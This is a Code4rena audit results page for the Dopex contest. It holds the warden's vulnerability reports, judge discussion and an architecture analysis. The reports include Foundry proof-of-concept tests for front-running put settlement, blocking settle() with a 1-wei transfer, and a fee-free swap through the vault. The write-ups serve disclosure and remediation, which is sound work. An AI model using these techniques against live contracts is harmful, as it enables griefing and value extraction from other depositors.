Dopex - LokiThe5th's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 5/189

Findings: 5

Award: $3,040.21

Analysis:
grade-b

🌟 Selected for report: 3

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: LokiThe5th

Also found by: Nikki, __141345__, mahdikarimi, peakbolt, rvierdiiev, wintermute

Labels

bug
3 (High Risk)
high quality report
primary issue
selected for report
sponsor confirmed
upgraded by judge
edited-by-warden
H-02

Awards

1642.2054 USDC - $1,642.21

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L278-L281 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175

Vulnerability details

Impact

The liquidity providers deposit WETH into the PerpetualAtlanticVaultLP which in turn provides the required collateral for put options writing. Writing puts locks collateral and to write more puts excess collateral is needed. Once a put is in the money it can be exercised by the RdpxCoreV2 contract, which forces the liquidity providers to take on rdpx at above market prices (i.e. they take a loss).

The issue is that liquidity providers to the PerpetualAtlanticVaultLP can anticipate when they might take losses. Users may then take the precautionary action to avoid losses by exiting the LP prior to put settlements. By doing this, the users who are not as fast, or as technically sophisticated, are forced to take on more losses (as losses are then spread among less LPs).

Importantly, this is not dependent on MEV and will also happen on chains where MEV is not possible.

This issue has two root causes:

  1. The price-threshold for settlement is known
  2. PerpetualAtlanticVaultLP allows redemptions at any time as long as there is excess collateral available

This has a second order effect: by having the ability to anticipate when settlements will happen, if any puts are in the money, there is likely to be redemptions from the PerpetualAtlanticVaultLP which will drain all the available collateral. If all the available collateral is drained from the vault, then other users will not be able to bond using the RdpxV2Core contracts, as calls to purchase will revert due to insufficient collateral in the put options vault.

The issue has been classified as high for the following reasons:

  1. The depositors who are either too slow, or are not as technically sophisticated, are forced to take more of the losses related to settlement of put options (as losses are spread among less participants).
  2. The token economic incentive is to anticipate calls to settle and avoid taking losses, and deposit again thereafter. This will create market-related periods of insufficient collateral, leading to regular (albeit temporary) DoS of the bonding mechanism which can impact the ETH peg of the DpxEthToken (not to mention the poor optics for the project).

Proof of Concept

As the price-threshold for settlement is known, depositors into the PerpetualAtlanticVaultLP have a few options to avoid this loss:

  1. Users can simply monitor the rdpxPriceInEth and, once the price is close to the strike price, remove their liquidity through redeem(). They can then deposit after settlement to take up a greater number of shares.

  2. Users can monitor the mempool (may be an issue in later versions of Arbitrum or other chains) for calls to PerpetualAtlanticVault::settle() and front-run this with a call to redeem to avoid losses.

  3. As settle() is a manual call from the Dopex multisig, this may take the form of a weekly process. Users may come to anticipate this and pull the available assets from the LP at those regular intervals.

Regardless of the method, the end result is the same.

The below coded PoC demonstrates the issue. One of the users, Bob (address(1)), anticipates a call to settle() - either through front-running or a market-related decision. Bob then enters and exits the pool right before and after the settle call. Dave (address(2)), who is another liquidity provider, does not anticipate the settle() call. We note the differences in PnL this creates in the console output.

Note: The PoC was created using the perp-vault/Integration.t.sol file, and should be placed in the tests/perp-vault directory in a .sol file. The PoC can then be run with forge test --match-test testPoCHigh3 -vvv

Apologies for the extended setup code at the start, this is needed for an accurate test, the PoC start point is marked clearly.

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import "forge-std/console.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { Setup } from "./Setup.t.sol"; import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; contract PoC is ERC721Holder, Setup { // ================================ HELPERS ================================ // function mintWeth(uint256 _amount, address _to) public { weth.mint(_to, _amount); } function mintRdpx(uint256 _amount, address _to) public { rdpx.mint(_to, _amount); } function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); vaultLp.deposit(_amount, _from); vm.stopPrank(); } function purchase(uint256 _amount, address _as) public returns (uint256 id) { vm.startPrank(_as, _as); (, id) = vault.purchase(_amount, _as); vm.stopPrank(); } function setApprovals(address _as) public { vm.startPrank(_as, _as); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vm.stopPrank(); } // ================================ CORE ================================ // /** Assumptions & config: - address(this) is impersonating the rdpxV2Core contract - premium per option: 0.05 weth - epoch duration: 1 day; 86400 seconds - initial price of rdpx: 0.2 weth - pricing precision is in 0.1 gwei - premium precision is in 0.1 gwei - rdpx and weth denomination in wei **/ function testPoCHigh3() external { // Setup starts here -----------------------------> setApprovals(address(1)); setApprovals(address(2)); setApprovals(address(3)); mintWeth(5 ether, address(1)); mintWeth(5 ether, address(2)); mintWeth(25 ether, address(3)); /// The users deposit deposit(5 ether, address(1)); deposit(5 ether, address(2)); deposit(25 ether, address(3)); uint256 userBalance = vaultLp.balanceOf(address(1)); assertEq(userBalance, 5 ether); userBalance = vaultLp.balanceOf(address(2)); assertEq(userBalance, 5 ether); userBalance = vaultLp.balanceOf(address(3)); assertEq(userBalance, 25 ether); // premium = 100 * 0.05 weth = 5 weth uint256 tokenId = purchase(100 ether, address(this)); // 0.015 gwei * 100 ether / 0.1 gwei = 15 ether collateral activated skip(86500); // expires epoch 1 vault.updateFunding(); vault.updateFundingPaymentPointer(); uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; uint256 fundingAccrued = vault.calculateFunding(strikes); assertEq(fundingAccrued, 5 ether); uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = tokenId; /// ---------------- POC STARTS HERE ---------------------------------------------------/// // At this point the Core contract has purchased options to sell 100 rdpx tokens // The market moves against `rdpx` and the puts are now in the money priceOracle.updateRdpxPrice(0.010 gwei); // Bob, a savvy user, sees there is collateral available to withdraw, and // because he monitors the price he knows the vault is about to take a loss // thus, he withdraws his capital, expecting a call to settle. userBalance = vaultLp.balanceOf(address(1)); vm.startPrank(address(1)); vaultLp.redeem(userBalance, address(1), address(1)); vm.stopPrank(); vm.startPrank(address(this), address(this)); (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds); vm.stopPrank(); // Bob now re-enters the LP Vault vm.startPrank(address(1)); vaultLp.deposit(weth.balanceOf(address(1)), address(1)); vm.stopPrank(); // Now we tally up the scores console.log("User Bob ends with (WETH, RDPX, Shares):"); userBalance = vaultLp.balanceOf(address(1)); (uint256 aBob, uint256 bBob) = vaultLp.redeemPreview(userBalance); console.log(aBob, bBob, userBalance); userBalance = vaultLp.balanceOf(address(2)); (uint256 aDave, uint256 bDave) = vaultLp.redeemPreview(userBalance); console.log("User Dave ends with (WETH, RDPX, Shares):"); console.log(aDave, bDave, userBalance); /** Bob and Dave both started with 5 ether deposited into the vault LP. Bob ends up with shares worth 4.08 WETH + 16.32 RDPX Dave ends up with shares worth 3.48 WETH + 13.94 RDPX Thus we can conclude that by anticipating calls to `settle`, either by monitoring the market or through front-running, Bob has forced Dave to take on more of the losses. */ } }

The result is that even though Bob and Dave both started with 5 WETH deposited, by anticipating the call to settle(), Bob was able to force Dave to take more of the losses while Bob was able to reenter and gain more shares than he started with. He has twisted the knife, so to speak.

Importantly, because the economic incentive is to exit and enter the pool in this way, it is likely to create a race condition where all the available collateral becomes withdrawn the moment the puts are in the money, meaning no user can bond (as options purchasing will revert due to this check). This leads to temporary DoS of the bonding mechanism, until either the team takes direct action (setting putsRequired to false) or new deposits come back into the vault

Tools Used

Manual code review. Foundry tests.

One option would be to rework the deposits to allow a "cooling off period" after deposits, meaning that assets can't be withdrawn until a set date in the future.

Another option would be to mint more shares to the vault itself in response to calls to settle() which accrue to users. These shares can then be distributed to the users as they redeem based on their time in the vault (in effect rewarding the hodlers).

This is not a trivial change, as it will impact the token economics of the project.

Assessed type

DoS

#0 - c4-pre-sort

2023-09-10T07:31:45Z

bytes032 marked the issue as high quality report

#1 - c4-pre-sort

2023-09-15T13:16:59Z

bytes032 marked the issue as primary issue

#2 - c4-sponsor

2023-09-25T15:58:49Z

psytama (sponsor) confirmed

#3 - GalloDaSballo

2023-10-17T17:37:40Z

If you're ITM and you can redeem, then you should

if you're OTM then you can't redeem and you'll get settled against

I'm not convinced this is valid

#4 - GalloDaSballo

2023-10-20T14:24:39Z

After re-reading I'm understanding that LPs are able to indeed able to redeem up to totalAvailableCollateral

For this reason, I agree with the validity of the finding, I'll need to recheck all submissions as I think some dups of this have been missed

#5 - c4-judge

2023-10-20T14:24:45Z

GalloDaSballo marked the issue as selected for report

#6 - c4-judge

2023-10-20T14:26:30Z

GalloDaSballo changed the severity to 2 (Med Risk)

#7 - c4-judge

2023-10-20T14:27:43Z

GalloDaSballo changed the severity to 3 (High Risk)

#8 - GalloDaSballo

2023-10-20T14:28:11Z

Conflicted on severity as total loss is capped, however, am thinking High is correct because new depositors are effectively guaranteed a loss, and there seems to be no rational way to avoid this scenario

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L783

Vulnerability details

Impact

Due to a strict balanceOf requirement the settlement of put options can be blocked.

The PerpetualAtlanticVaultLP.sol contract holds the collateral that is used for writing put contract options to the RdpxV2Core.sol contract. The ability of the core contract to protect it’s positions through perpetual put options is critical to maintaining the price of DpxEthToken.

By transferring 1 wei of WETH to the PerpetualVaultLP.sol contract, an attacker can block the settle() function call in the RdpxV2Core.sol contract.

Due to the negligible cost to execute this attack (gas + 1 wei of the collateralToken), and the severe impact it has on the token economic system of the project (put options are not executable, this no hedge against price movements), this issue has been evaluated to high severity.

Proof of Concept

In the PerpetualAtlanticVaultLP.sol contract, the function substractLoss() has a strict requirement which uses the underlying balanceOf the collateral token. See here:

function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }

In the require statement the balanceOf(address(this)) must be strictly equal to _totalCollateral - loss. This makes the contract vulnerable to denial of service attacks through direct transfers, which will cause the aforementioned check to always fail. In addition, there is no way to clear this excess collateral.

The below coded PoC can be placed inside the tests/perp-vault directory of the contest and can be run with forge test --match-contract PoCNoSettlement. It shows how the RdpxV2Core.sol contract's calls to PerpetualAtlanticVault::settle() revert after the amount of 1 wei has been transferred directly to the PerpetualAtlanticVaultLP contract. The PoC also has a control scenario for reference. Note: the revert scenario is explicitly checked, so both tests should pass

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { Setup } from "./Setup.t.sol"; import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; contract PoCNoSettlement is ERC721Holder, Setup { // ================================ HELPERS ================================ // function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vaultLp.deposit(_amount, address(1)); vm.stopPrank(); } // ================================ POC ================================ // function testSettlementControl() public { // Setup weth.mint(address(1), 1 ether); deposit(1 ether, address(1)); vault.purchase(1 ether, address(this)); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; skip(86500); // expire /** Control scenario flow: price moves -> puts in the money -> call to `settle` -> rdpx from address(this) to LP -> WETH from LP to address(this) */ // Update the rdpxPrice so that the puts are in the money priceOracle.updateRdpxPrice(0.010 gwei); uint256 wethBalanceBefore = weth.balanceOf(address(this)); uint256 rdpxBalanceBefore = rdpx.balanceOf(address(this)); // Settle the put options, we do not expect revert vault.settle(ids); uint256 wethBalanceAfter = weth.balanceOf(address(this)); uint256 rdpxBalanceAfter = rdpx.balanceOf(address(this)); // Check that the put option was settled assertEq(wethBalanceAfter - wethBalanceBefore, 0.15 ether); // asset settled; 1 rdpx worth of ether received by rdpxV2Core assertEq(rdpxBalanceBefore - rdpxBalanceAfter, 1 ether); // asset settled; 1 rdpx sent from rdpxV2Core to lp } // Attack Scenario function testNoSettlement() public { // Setup the attack scenario, same as control weth.mint(address(1), 1 ether); deposit(1 ether, address(1)); vault.purchase(1 ether, address(this)); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; skip(86500); // expire // We update the price so the puts are in the money priceOracle.updateRdpxPrice(0.010 gwei); // This is the attack, key difference from control scenario weth.transfer(address(vaultLp), 1 wei); // We test the hypothesis: // We expect the call to `settle` will be reverted with: "Not enough collateral was sent out" vm.expectRevert("Not enough collateral was sent out"); vault.settle(ids); // The call is reverted and the hypothesis, that direct transfers will prevent settlement, is accepted. } }

Tools Used

Manual review. Foundry.

An option would be to set the _totalCollateral to equal collateral.balanceOf(address(this)) before the require statement. This still supports the strict equality check.

From the code there is no reason to expect excess collateralToken should be present in the contract, because both addProceeds and deposit ensure that it is added to _totalCollateral in any case.

Assessed type

DoS

#0 - c4-pre-sort

2023-09-09T09:57:59Z

bytes032 marked the issue as duplicate of #619

#1 - c4-pre-sort

2023-09-11T16:15:07Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-20T19:34:32Z

GalloDaSballo marked the issue as satisfactory

Findings Information

Awards

125.228 USDC - $125.23

Labels

bug
3 (High Risk)
high quality report
primary issue
selected for report
sponsor confirmed
upgraded by judge
H-07

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L372 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L381 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L539 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1160

Vulnerability details

Impact

The RdpxEthPriceOracle, available in the contest repo here, provides the RdpxV2Core, the UniV2LiquidityAmo and the PerpetualAtlanticVault contracts the necessary values for rdpx related price calculations.

The issue is that these contracts expect the returned values to be in 1e8 precision (as stated in the natspec here, here and here). But the returned precision is actually 1e18.

This difference creates multiple issues throughout the below contracts:

ContractFunctionEffect
rdpxV2Core.solgetRdpxPrice()Returns an 1e18 value when 1e8 expected
calculateBondCost()Deflates the rdpxRequired
calculateAmounts()Inflates the rdpxRequiredInWeth
_transfer()Inflates rdpxAmountInWeth and may cause possible underflow
UniV2LiquidityAmogetLpPriceInEth()Overestimates the lp value
ReLp.solreLP()Inflates min token amounts
PerpetualAtlanticVault.solgetUnderlyingPrice()Returns 1e18 instead of 1e8
calculatePremium()Inflates the premium calculation

Proof of Concept

The RdpxEthPriceOracle.sol file can be found here

It exposes the following functions used in the contests:

These two functions provide the current price denominated in ETH, with a precision in 1e18, as confirmed by their respective natspec comments:

/// @dev Returns the price of LP in ETH in 1e18 decimals function getLpPriceInEth() external view override returns (uint) { ... /// @notice Returns the price of rDPX in ETH /// @return price price of rDPX in ETH in 1e18 decimals function getRdpxPriceInEth() external view override returns (uint price) {

But, in the contracts from the contest repo, the business logic (and even the natspec) assumes the returned precision will be 1e8. See below:

In the RdpxV2Core contract the assumption that the price returned from the oracle is clearly noted in the natspec of the getRdpxPrice() function:

/** * @notice Returns the price of rDPX against ETH * @dev Price is in 1e8 Precision * @return rdpxPriceInEth rDPX price in ETH **/ function getRdpxPrice() public view returns (uint256) { return IRdpxEthOracle(pricingOracleAddresses.rdpxPriceOracle) .getRdpxPriceInEth(); }

In UniV2LiquidityAmo the assumption is noted here:

/** * @notice Returns the price of a rDPX/ETH Lp token against the alpha token * @dev Price is in 1e8 Precision * @return uint256 LP price **/ function getLpPrice() public view returns (uint256) {

And it has business logic implication here:

function getLpTokenBalanceInWeth() external view returns (uint256) { return (lpTokenBalance * getLpPrice()) / 1e8; }

In PerpetualAtlanticVault it is noted here:

/** * @notice Returns the price of the underlying in ETH in 1e8 precision * @return uint256 the current underlying price **/ function getUnderlyingPrice() external view returns (uint256);

And the business logic implications in this contract are primarily found in the calculatePremium function, where the premium is divided by 1e8:

function calculatePremium( uint256 _strike, uint256 _amount, uint256 timeToExpiry, uint256 _price ) public view returns (uint256 premium) { premium = ((IOptionPricing(addresses.optionPricing).getOptionPrice( _strike, _price > 0 ? _price : getUnderlyingPrice(), getVolatility(_strike), timeToExpiry ) * _amount) / 1e8); }

From the contest files it's clear that the assumption was that the returned price would be in 1e8, but this is Dopex's own RdpxPriceOracle, so was likely a simple oversight which slipped through testing as a MockRdpxEthPriceOracle was implemented to simplify testing, which mocked the values from the oracle, but only to a 1e8 precision.

Tools Used

Manual review. Communicated with sponsor to confirm RdpxEthPriceOracle.

For price feeds where WETH will be token B, it is convention (although not a standard, as far as the reviewer is aware), that the precision returned will be 1e18. See here.

As the sponsor indicated that the team might move to Chainlink oracles, it is suggested to modify the RdpxV2Core, PerpetualAtlanticVault, UniV2Liquidity and the ReLp contracts to work with the returned 1e18 precision, assuming that the keep the token pair as rdpx/WETH.

Assessed type

Oracle

#0 - c4-pre-sort

2023-09-09T04:53:01Z

bytes032 marked the issue as primary issue

#1 - bytes032

2023-09-09T05:08:01Z

Excellent, quality written report.

#2 - c4-pre-sort

2023-09-09T05:10:26Z

bytes032 marked the issue as high quality report

#3 - bytes032

2023-09-15T13:09:14Z

Related issues:

#1075 #1008 #748 #397 #956

#4 - psytama

2023-09-25T13:37:08Z

The issue is in the oracle contract which returns 1e18.

#5 - c4-sponsor

2023-09-25T13:38:17Z

psytama (sponsor) confirmed

#6 - GalloDaSballo

2023-10-12T09:30:00Z

Seems like the Warden grouped a bunch of consequences down to the root cause of the oracle precision

I'll need to determine how to group / ungroup findings as there seem to be multple impacts but a single root cause

#7 - c4-judge

2023-10-15T18:39:50Z

GalloDaSballo marked the issue as selected for report

#8 - c4-judge

2023-10-20T18:28:14Z

GalloDaSballo changed the severity to 2 (Med Risk)

#9 - c4-judge

2023-10-20T18:28:24Z

GalloDaSballo changed the severity to 3 (High Risk)

Findings Information

🌟 Selected for report: LokiThe5th

Also found by: 0xnev, Evo, volodya

Labels

bug
2 (Med Risk)
high quality report
primary issue
selected for report
sponsor acknowledged
edited-by-warden
M-02

Awards

1182.6582 USDC - $1,182.66

External Links

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L227

Vulnerability details

Impact

The PerpetualAtlanticVaultLP allows users to deposit() WETH into the vault and receive shares in return. If a user calls redeem on the vault, they receive a proportional amount of WETH and rdpx in return for burning their shares.

This can be used as a way to swap from WETH to rdpx without needing to pay swap fees to the V2 Permissioned AMM that is being introduced in V2. Swapping in this way may allow users to receive rdpx at a discount.

PerpetualAtlanticVaultLP mints shares to a depositor by taking into account the current price of rdpx and using it to calculate the total underlying asset value. The root cause of the issue is that when calculating the amount of rdpx to return on redeem, the calculation does not use the current price, but uses: shares.mulDivDown(_rdpxCollateral, supply).

The practical effect being that of a swap of in proportions determined by the initial deposit price. This means that the vault itself may experience arbitrage, as the amount of rdpx returned is determined by it's proportion in the vault at that moment, not by it's current market value.

This has been evaluated to medium as the vault's depositors lose this value and the AMM loses out on swap fees.

Proof of Concept

Assumptions:

  • there is rdpx in the PerpetualAtlanticVaultLP (i.e. puts have been settled)

The PoC should be copied into the perp-vault/Integration.t.sol file and then can be run with forge test --match-test testPoCMedium1 -vvv

The line where the PoC starts is clearly marked. The PoC shows how the amount of rdpx returned from deposit and the immediate redeem is not affected by changes to the price once a deposit has been made, but is affected by the amount of underlying rdpx.

This means that doing this type of "swap" may present arbitrage opportunities at the expense of depositors.

function testPoCMedium1() external { // Setup starts here -----------------------------> setApprovals(address(1)); setApprovals(address(2)); setApprovals(address(3)); mintWeth(5 ether, address(1)); mintWeth(5 ether, address(2)); mintWeth(25 ether, address(3)); mintWeth(1 ether, address(4)); /// The users deposit deposit(5 ether, address(1)); deposit(5 ether, address(2)); deposit(25 ether, address(3)); // premium = 100 * 0.05 weth = 5 weth uint256 tokenId = purchase(100 ether, address(this)); // 0.015 gwei * 100 ether / 0.1 gwei = 15 ether collateral activated skip(86500); // expires epoch 1 vault.updateFunding(); vault.updateFundingPaymentPointer(); uint256[] memory strikes = new uint256[](1); strikes[0] = 0.015 gwei; uint256 fundingAccrued = vault.calculateFunding(strikes); uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = tokenId; // The market moves against `rdpx` and the puts are now in the money priceOracle.updateRdpxPrice(0.010 gwei); vm.startPrank(address(this), address(this)); (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds); vm.stopPrank(); /// ---------------- POC STARTS HERE -------------------------------------------------/// // The user intending to swap deposits 1 WETH into the `VaultLP` vm.startPrank(address(4)); weth.approve(address(vaultLp), 1 ether); uint256 userShares = vaultLp.deposit(1 ether, address(4)); vm.stopPrank(); // For the POC we get a quote at the current price of 0.010 gwei of WETH per rdpx console.log("Deposit swap from WETH to RDPX - Part 1"); console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice()); console.log("User gets:"); uint256 userBalance = vaultLp.balanceOf(address(4)); (uint256 wethUser, uint256 rdpxUser) = vaultLp.redeemPreview(userBalance); console.log("WETH: ", wethUser); console.log("rdpx: ", rdpxUser); console.log(""); // For the POC we get another quote at the current price of 0.010 gwei of WETH per rdpx console.log("Deposit swap from WETH to RDPX - Part 2"); priceOracle.updateRdpxPrice(0.020 gwei); console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice()); console.log("User gets:"); (uint256 wethUserPart2, uint256 rdpxUserPart2) = vaultLp.redeemPreview(userBalance); console.log("WETH: ", wethUserPart2); console.log("rdpx: ", rdpxUserPart2); // We assert that the user still gets the same amount of rdpx regardless of the price assertEq(rdpxUser, rdpxUserPart2); // We change the `_rdpxCollateral` mintRdpx(10 ether, address(vault)); vm.startPrank(address(vault)); rdpx.transfer(address(vaultLp), 10 ether); vaultLp.addRdpx(10 ether); vm.stopPrank(); // Now we test that the amount of `rdpx` returned changes in response to more underlying `rdpx` received console.log(""); console.log("Deposit swap from WETH to RDPX - Part 3"); priceOracle.updateRdpxPrice(0.020 gwei); console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice()); console.log("User gets:"); (uint256 wethUserPart3, uint256 rdpxUserPart3) = vaultLp.redeemPreview(userBalance); console.log("WETH: ", wethUserPart3); console.log("rdpx: ", rdpxUserPart3); // We assert that we will receive more `rdpx` for the same amount of `WETH` assertGt(rdpxUserPart3, rdpxUserPart2); assertEq(wethUserPart3, wethUserPart2); }

Tools Used

Manual review. Foundry.

When calling redeem, calculate the amount of rdpx the depositor should receive using up-to-date rdpxPriceInEth.

Consider disallowing immediate deposit and redeem calls through some mechanism.

Assessed type

Other

#0 - c4-pre-sort

2023-09-10T09:35:50Z

bytes032 marked the issue as primary issue

#1 - c4-pre-sort

2023-09-10T09:35:55Z

bytes032 marked the issue as high quality report

#2 - c4-sponsor

2023-09-25T19:26:15Z

psytama (sponsor) acknowledged

#3 - c4-judge

2023-10-15T18:05:40Z

GalloDaSballo marked the issue as selected for report

#4 - 141345

2023-10-23T01:36:04Z

This one seems dup of https://github.com/code-423n4/2023-08-dopex-findings/issues/1584.

The root cause is the same, after settlement, the market value of the vault will "jump", from strike to spot market price.

#5 - lokithe5th

2023-10-23T10:24:57Z

@141345 thank you for your comment. I initially thought the same (both this issue and #1584 being mine), but the underlying cause is different, as this issue isn't predicated on taking advantage of an anticipated settlement call, it merely requires there to be rdpx as collateral in the vault (external requirement which is why I submitted as medium). The issue simply describes the leakage of value that should have been captured by the protocol through their permissioned AMM, but can be bypassed.

I'm happy to provide additional context to the issue:

  1. This issue shows that on redeem the amount of rdpx returned is determined by neither the strike nor the spot market price, but is actually determined by the proportion of shares being burnt in relation to the current total _rdpxCollateral:
// Tracing it all the way from `redeem` ends here shares.mulDivDown(_rdpxCollateral, supply)
  1. In a perfectly neutral environment, if the prices stay exactly the same (or if immediately depositing and redeeming), then the user would get rdpx back in proportion to the underlying value provided at deposit without paying any swap fees to the V2 Permissioned AMM (owned by the protocol), meaning the protocol loses this fee (hence the leakage of value).

This is a distinct root cause from #1584, where the public nature of the moneyness of the puts creates economic incentive to redeem right before settle and then deposit to avoid losses and take up more shares after the value of the vault has fallen (i.e. this issue doesn't require an incoming settle call).

Will accept the judge's ruling on this and am happy to provide more context should the judge require it.

#6 - GalloDaSballo

2023-10-25T09:18:52Z

Agree that these are different issues, this is an issue with the value received via redeem The other finding is an issue with how losses and gains are accounted (allowing for race conditions)

Findings Information

Labels

analysis-advanced
grade-b
sufficient quality report
A-09

Awards

90.0998 USDC - $90.10

External Links

dopex img Dopex Analysis Report

Description

The contest focus was on the newly developed DpxEthToken and it's supporting contracts. This is V2 for the Dopex team, who have built a thriving options ecosystem.

The key contracts in this contest are:

RdpxV2Core: This is the main entry oint for users into the system. A user can bond their rdpx and WETH through this contract. The discount factor in this contract determines the discount users receive for bonding. The bonding mechanism supports the backing reserves of rdpx and WETH. This contract also contains Curve style Peg Stability Module functionality.

RdpxV2Bonds: The bonds are minted as ERC721 tokens and are held by the aforementioned RdpxV2Core contract, which is the only contract that can mint bonds.

PerpetualAtlanticVault: This contract is responsible for the perpetual options business logic. The contract allows the RdpxV2Core contract to purchase perpetual put options with a strike price that is 25% below the current price. The price is denominated in rdpxPriceInEth, and so these puts are in the money if either ETH increases by more than 25% compared to rdpx or if rdpx weakens by more than 25% compared to ETH.

PerpetualAtlanticVaultLP: This contract holds the collateral for put options and allows users to supply liquidity in the form of WETH which is used as collateral by the PerpetualAtlanticVault. In addition, it allows liquidity providers to earn yield on their deposited WETH, as there is an epoch-based funding mechanism for holding the put options.

DpxEthToken: The DpxEthToken is the star of the show. The Dopex team intends to make this a core asset used in their products. This token is intended to be pegged to ETH and the token economic mechanisms of bonding and put options are crafted to support this peg.

Approach

The focus of the review was the implementation of the perpetual put options, the bonding mechanism and the business logic for the DpxEthToken.

Manual review of the code and the provided protocol documents was done. Approximately 4 hours per day over the course of 10 days were spent reviewing the code.

Architectural recommendations

The protocol consists of permissioned and non-permissioned components. The Algorithmic Market Operations module and other token management functionality cannot be made permissionless (at least at inception). The current architecture is suitable for a new product being deployed, which may require manual intervention in response to market actions. For example, when to exercise in the money put options requires team analysis and decision making which should not be automated at the start of the project.

Once the deployment has stabilized and the project token economics are up and running, moving to a less permissioned architecture should be considered.

Qualitative Analysis

Overall the code reviewed was of a great quality with good test coverage.

CategoryComments
Test suiteBoth unit and integration tests in foundry were provided with good coverage
NatspecThere were occasional, small natspec errors and instances where the comments were not clear

It is not standard, but it is advisable to stress test the token economic assumptions in the protocol across market movements. The contracts are very exposed to ETH price movements (see Token Economic Risks below).

Centralization Risks

The codebase is heavily permissioned and depends on the Dopex Team to manage treasury functions. Multiple protocol functions require role-based access. For example, the settlement of put options when the puts are in the money is triggered manually through an EOA or multisig, which in itself may introduce risk; it must be noted, however, that this functionality cannot be safely automated away at the moment.

In addition, there are multiple instances of deployer accounts being granted access to sensitive functions. This increases attack surface and should be avoided.

Systemic Risks

The DpxEthToken and the supporting mechanisms are exposed to smart contract risk from the chosen WETH token. A failure of trust in the aforementioned tokens contract will contaminate the DpxEthToken. A possible consideration would be to use various WETH tokens from multiple established projects.

Token Economic Risks

There is significant concentrated asset risk in the audited contracts. The DpxEthToken is backed by 75% ether (used interchangeably here with ETH and WETH) and 25% rdpx up front; in addition it is supported by a put option which backstops the collateral to be around 93% WETH when the rdpx price falls (75% straight WETH, with an additional 25% rdpx of which 75% is effectively WETH through the put option).

The upside of this mechanic is that it becomes easier for DpxEth to maintain it's peg to ETH. This is also the biggest downside: WETH price movements will greatly impact the TVL.

The edge case is also worth mentioning: in a market scenario where the WETH price is falling, the rdpx price is likely to come under pressure as well. If the prices of both of these assets fall simultaneously, and to similar degrees, the Core contracts will be unable to exercise their put options (because the strike price is in rdpxInEth).

It can be argued that this is by design:DpxEthToken is, after all, intended to be pegged to ETH. But it must be conceded that this leads to a scenario where the TVL can reduce drastically in USD terms in a relatively short time frame and the protocol would be unable to reduce it's exposure to these assets.

